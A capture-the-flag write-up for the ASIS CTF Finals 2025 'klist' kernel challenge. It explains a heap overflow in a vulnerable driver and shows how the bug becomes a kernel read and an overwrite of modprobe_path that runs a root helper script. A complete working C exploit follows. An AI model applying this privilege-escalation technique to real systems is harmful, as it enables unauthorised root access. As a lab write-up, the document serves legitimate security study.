This challenge is klist from ASIS CTF Finals 2025. You can try it yourself; the challenge files are available here
1. Challenge overview
The challenge exposes /dev/klist, a character device that manages a linked
list of fixed-size entries. The goal is to exploit an out-of-bounds heap write
and read the flag exposed to the guest as /dev/vda.
The local launcher uses:
-append "oops=panic panic=1 console=ttyS0 nokaslr quiet"
-drive id=flag,file="./flag.txt",format=raw,if=virtio
Important consequences:
- KASLR is disabled, so kernel symbols such as
modprobe_pathhave stable addresses for this kernel build. flag.txtis presented as the raw block device/dev/vda.- SMEP and SMAP are enabled, so a data-only attack is preferable to executing userspace code directly from kernel context.
2. Recovering the structures
The module contains DWARF information, which exposes these internal layouts:
struct klist_entry {
char data[96]; // 0x00
struct klist_entry *next; // 0x60
size_t pos; // 0x68
}; // sizeof = 0x70
struct klist_fd {
struct klist_entry *head; // 0x00
size_t max_index; // 0x08
size_t count; // 0x10
struct mutex lock; // 0x18
}; // sizeof = 0x38
IDA initially displays raw offset accesses:
*(_QWORD *)(entry + 96) // entry->next
*(_QWORD *)(entry + 104) // entry->pos
The userspace request structures are separate from those kernel-internal structures:
struct klist_add_req {
char data[96];
};
struct klist_modify_req {
uint32_t index;
uint32_t length;
char data[96];
};
struct klist_get_req {
uint32_t index;
char data[96];
};
_Static_assert(sizeof(struct klist_add_req) == 0x60, "bad ADD ABI");
_Static_assert(sizeof(struct klist_modify_req) == 0x68, "bad MODIFY ABI");
_Static_assert(sizeof(struct klist_get_req) == 0x64, "bad GET ABI");
The ioctl numbers are:
#define KLIST_ADD _IOW ('k', 0, struct klist_add_req)
#define KLIST_MODIFY _IOW ('k', 1, struct klist_modify_req)
#define KLIST_GET _IOWR('k', 2, struct klist_get_req)
They evaluate to:
ADD 0x40606b00
MODIFY 0x40686b01
GET 0xc0646b02
3. Understanding the normal operations
ADD
ADD copies 96 bytes from userspace, allocates a 0x70-byte entry, and
appends it to the linked list:
entry = kmalloc(sizeof(*entry), GFP_KERNEL);
memcpy(entry->data, request.data, 96);
entry->next = NULL;
entry->pos = strnlen(entry->data, 96);
The request always transfers 96 bytes, but pos is determined by the first
zero byte. For example:
AAAAAAAAAA\0... -> pos = 10
90 nonzero bytes followed by \0 -> pos = 90
96 nonzero bytes -> pos = 96
The module also prints the allocation with %px:
klist: added node@0xff...
That provides a raw kernel heap pointer through the kernel log.
GET
GET treats the first request field as a zero-based list index:
GET(0) -> head
GET(1) -> head->next
GET(2) -> head->next->next
Once it finds the requested entry, it copies the first 96 bytes to userspace:
copy_to_user(user_request.data, entry, 96);
Because data begins at offset zero, this returns entry->data.
MODIFY
MODIFY finds an entry by index and uses its stored pos as the destination
offset:
if (request.length < 1 || request.length > 96)
return -EINVAL;
entry = find_entry(request.index);
if (entry->pos <= 95) {
memcpy(entry->data + entry->pos,
request.data,
request.length);
entry->pos = strnlen(entry->data, 96);
} else {
entry->pos = 0;
}
The compiler moved the memcpy() branch into klist_ioctl.cold in
.text.unlikely. In the relocatable .ko, the branch is connected through
an ELF relocation rather than an ordinary encoded cross-reference.
4. Root cause
The driver checks these values separately:
entry->pos <= 95
request.length <= 96
It never checks their sum:
entry->pos + request.length <= sizeof(entry->data)
Therefore, a valid length can begin close to the end of data and continue
into the entry metadata.
For example:
pos = 90 = 0x5a
length = 14 = 0x0e
range = [0x5a, 0x68)
The mapping is:
entry offsets 0x5a..0x5f -> final six bytes of data
entry offsets 0x60..0x67 -> complete next pointer
Only 14 bytes are needed to replace entry->next.
5. Building a controlled list
Three entries make it easy to verify list traversal:
NODE0 -> NODE1 -> NODE2 -> NULL
NODE0 must have pos = 90:
char node0[96];
memset(node0, 'A', sizeof(node0));
node0[90] = '\0';
// same for B & C
klist_add(fd, node0, sizeof(node0));
// same for node1 & node2
NODE1 and NODE2 contain recognizable B and C patterns. Their leaked
addresses are collected from the module's added node@%px messages.
Before corruption:
GET(0) -> AAAAA...
GET(1) -> BBBBB...
GET(2) -> CCCCC...
6. Overwriting NODE0->next
The MODIFY write begins at entry offset 90. next begins at offset 0x60,
or decimal 96:
bytes before next = 96 - 90 = 6
pointer size = 8
total write length = 6 + 8 = 14
The PoC constructs that 14-byte overwrite directly:
unsigned long modprobe_path = 0xffffffff82b426e0;
char modify0[14];
memset(modify0, 'D', sizeof(modify0));
memcpy(modify0 + 6, &modprobe_path, sizeof(modprobe_path));
klist_modify(fd, 0, sizeof(modify0), modify0);
The payload maps onto NODE0 as follows:
modify0[0..5] = "DDDDDD" -> NODE0.data[90..95]
modify0[6..13] = modprobe_path -> NODE0.next
The logical list therefore becomes:
NODE0 -> modprobe_path
Because modify0[0] is D, the zero at NODE0.data[90] is removed.
strnlen() recalculates NODE0.pos as 96. The current PoC uses this as a
one-shot redirect and does not redirect NODE0.next again before obtaining
the flag.
7. Turning the redirect into a kernel read
If:
NODE0.next = B
then:
klist_get(fd, 1, output);
performs:
copy_to_user(output, (void *)B, 96);
This gives a controlled 96-byte kernel read from address B.
Pointing NODE0.next at modprobe_path demonstrates it:
GET(1) -> "/sbin/modprobe"
The output originally labelled node0 after redirect was actually the
contents of modprobe_path; index 1 followed NODE0.next.
8. Understanding the constrained write
After redirecting NODE0.next = B, MODIFY(1) treats address B as though
it were a real klist_entry:
p = *(uint64_t *)(B + 0x68)
if p <= 95:
write request.length bytes at B + p
write strnlen(B, 96) back to B + 0x68
This is not immediately an unconstrained arbitrary write. The memory at
B + 0x68 controls the write offset and must pass the p <= 95 check.
9. Why modprobe_path satisfies the constraint
On this kernel build:
modprobe_path = 0xffffffff82b426e0
got this easily with bata24/gef with the command kmagic
The address must be resolved from the target kernel symbols rather than assumed to be universal.
modprobe_path is a large character array initialized as:
/sbin/modprobe\0 00 00 00 ...
The bytes at:
modprobe_path + 0x68
are zero. Therefore, when MODIFY(1) treats modprobe_path as a fake entry:
B = modprobe_path
p = *(uint64_t *)(B + 0x68) = 0
destination = B + p = modprobe_path
The write becomes:
memcpy(modprobe_path, request.data, request.length);
A second MODIFY performs the replacement through the fake entry:
char modify1[14];
strcpy(modify1, "/tmp/x\x00");
klist_modify(fd, 1, sizeof(modify1), modify1);
strcpy() places /tmp/x and its terminating zero in the first seven
bytes. The remaining seven bytes are uninitialized stack data, but they are
after the terminating zero and do not alter the path interpreted by the
kernel. Zero-initializing modify1 would make this deterministic.
After the copy, the driver computes:
strnlen("/tmp/x", 96) = 6
and stores 6 at modprobe_path + 0x68. That location is beyond the
terminating zero and does not affect the visible path.
10. Preparing the privileged helper
Before triggering the module loader, the PoC creates /tmp/x:
#!/bin/sh
cat /dev/vda > /tmp/f
and marks it executable:
chmod +x /tmp/x
This can be done from C with:
system("echo '#!/bin/sh' > /tmp/x");
system("echo 'cat /dev/vda > /tmp/f' >> /tmp/x");
system("chmod +x /tmp/x");
The PoC itself remains unprivileged. The objective is to make the kernel run
/tmp/x as a privileged userspace helper.
11. Triggering modprobe_path
On this target, creating an unsupported AF_ALG socket causes the kernel to
request a module:
socket(AF_ALG, SOCK_SEQPACKET, 0);
The module-loading path executes the program named by modprobe_path.
Because it now contains /tmp/x, the kernel runs:
/tmp/x
with kernel-user-helper privileges. The script reads the protected raw block device:
cat /dev/vda > /tmp/f
The PoC finally displays the copied flag:
system("cat /tmp/f");
This produces:
ASIS{FAKE_FLAG}
The flag is not printed automatically by becoming root. The privileged
helper copies it, and the original PoC explicitly prints the copy.
12. Complete exploitation chain
1. Open /dev/klist
2. Create /tmp/x, which copies /dev/vda to /tmp/f
3. ADD NODE0 with a zero at data[90], making pos = 90
4. ADD NODE1 and NODE2
5. Read the raw node addresses from the %px kernel messages
6. Overflow NODE0.data by 14 bytes
7. Modify NODE0.next with the address of modprobe_path
8. GET(1) and verify that it returns "/sbin/modprobe"
9. MODIFY(1); modprobe_path+0x68 is zero, so the write begins at offset 0
10. Replace "/sbin/modprobe" with "/tmp/x"
11. Trigger a module request with socket(AF_ALG, SOCK_SEQPACKET, 0)
12. The kernel executes /tmp/x as a privileged helper
13. /tmp/x copies /dev/vda to /tmp/f
14. Print /tmp/f
full exploit code
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/socket.h>
#define DEVICE_NAME "/dev/klist"
struct klist_add_s {
char data[96];
};
struct klist_modify_s {
uint32_t index;
uint32_t length;
char data[96];
};
struct klist_get_s {
uint32_t index;
char data[96];
};
uint64_t get_fp(void) {
FILE *fp;
char buffer[1024];
uint64_t node = 0;
fp = popen("dmesg | grep 'klist: added node@' | tail -n 1", "r");
if (fp == NULL) {
perror("popen dmesg");
return 0;
}
if (fgets(buffer, sizeof(buffer), fp) != NULL) {
char *ptr = strstr(buffer, "node@");
if (ptr)
node = strtoull(ptr + 5, NULL, 16);
}
pclose(fp);
if (!node)
fprintf(stderr, "[-] failed to parse latest klist node address\n");
return node;
}
_Static_assert(sizeof(struct klist_add_s) == 0x60, "bad add layout");
_Static_assert(sizeof(struct klist_modify_s) == 0x68, "bad modify layout");
_Static_assert(sizeof(struct klist_get_s) == 0x64, "bad get layout");
#define ADD _IOW('k', 0, struct klist_add_s)
#define MODIFY _IOW('k', 1, struct klist_modify_s)
#define GET _IOWR('k', 2, struct klist_get_s)
int klist_add(int fd, const void *data, size_t size) {
struct klist_add_s add = {0};
if (size > sizeof(add.data) || (size && !data)) {
errno = EINVAL;
return -1;
}
memcpy(add.data, data, size);
return ioctl(fd, ADD, &add);
}
int klist_modify(int fd, uint32_t index, uint32_t length,
const void *data) {
struct klist_modify_s modify = {0};
if (!data || length == 0 || length > sizeof(modify.data)) {
errno = EINVAL;
return -1;
}
modify.index = index;
modify.length = length;
memcpy(modify.data, data, length);
return ioctl(fd, MODIFY, &modify);
}
int klist_get(int fd, uint32_t index, char output[96]) {
struct klist_get_s get = {0};
if (!output) {
errno = EINVAL;
return -1;
}
get.index = index;
int ret = ioctl(fd, GET, &get);
if (ret == 0)
memcpy(output, get.data, sizeof(get.data));
return ret;
}
void setup(){
system("echo '#!/bin/sh' > /tmp/x");
system("echo 'cat /dev/vda > /tmp/f' >> /tmp/x");
system("chmod +x /tmp/x");
}
int main(void) {
int fd = open(DEVICE_NAME, O_RDWR);
if (fd < 0) {
perror("open");
return EXIT_FAILURE;
}
setup();
puts("[+] prepared helper /tmp/x: /dev/vda -> /tmp/f");
char NODE0[0x100] = {0};
memset(NODE0, 'A', sizeof(NODE0));
NODE0[90] = '\0';
char NODE1[0x100] = {0};
memset(NODE1, 'B', sizeof(NODE1));
NODE1[90] = '\0';
char NODE2[0x100] = {0};
memset(NODE2, 'C', sizeof(NODE2));
NODE2[90] = '\0';
klist_add(fd, NODE0, 0x60);
uint64_t node0_fp = get_fp();
printf("[+] NODE0 @ 0x%016" PRIx64 "\n", node0_fp);
klist_add(fd, NODE1, 0x60);
uint64_t node1_fp = get_fp();
printf("[+] NODE1 @ 0x%016" PRIx64 "\n", node1_fp);
klist_add(fd, NODE2, 0x60);
uint64_t node2_fp = get_fp();
printf("[+] NODE2 @ 0x%016" PRIx64 "\n", node2_fp);
for (uint32_t index = 0; index < 3; index++) {
char output[0x60] = {0};
if (klist_get(fd, index, output) < 0) {
perror("klist_get");
close(fd);
return EXIT_FAILURE;
}
printf("[+] GET(%u) -> NODE%u: %.*s\n",
index, index, (int)sizeof(output), output);
}
uint64_t modprobe_path = 0xffffffff82b426e0;
printf("[*] redirecting NODE0->next to modprobe_path @ 0x%016"
PRIx64 "\n", modprobe_path);
char modify0[14];
memset(modify0, 'D', sizeof(modify0));
memcpy(modify0 + 6, &modprobe_path, sizeof(modprobe_path));
klist_modify(fd, 0, sizeof(modify0), modify0);
char output[96] = {0};
if (klist_get(fd, 1, output) < 0) {
perror("klist_get after redirect");
return EXIT_FAILURE;
}
printf("[+] GET(1) -> modprobe_path before overwrite: %.*s\n",
(int)sizeof(output), output);
char modify1[14] = {0};
strcpy(modify1, "/tmp/x\x00");
klist_modify(fd, 1, sizeof(modify1), modify1);
memset(output, 0, sizeof(output));
if (klist_get(fd, 1, output) < 0) {
perror("klist_get modprobe_path after overwrite");
return EXIT_FAILURE;
}
printf("[+] GET(1) -> modprobe_path after overwrite: %.*s\n",
(int)sizeof(output), output);
puts("[*] triggering a module request through AF_ALG");
int sockfd = socket(AF_ALG, SOCK_SEQPACKET, 0);
if (sockfd >= 0)
close(sockfd);
puts("[+] privileged helper copied /dev/vda to /tmp/f:");
fflush(stdout);
system("cat /tmp/f");
close(fd);
return EXIT_SUCCESS;
}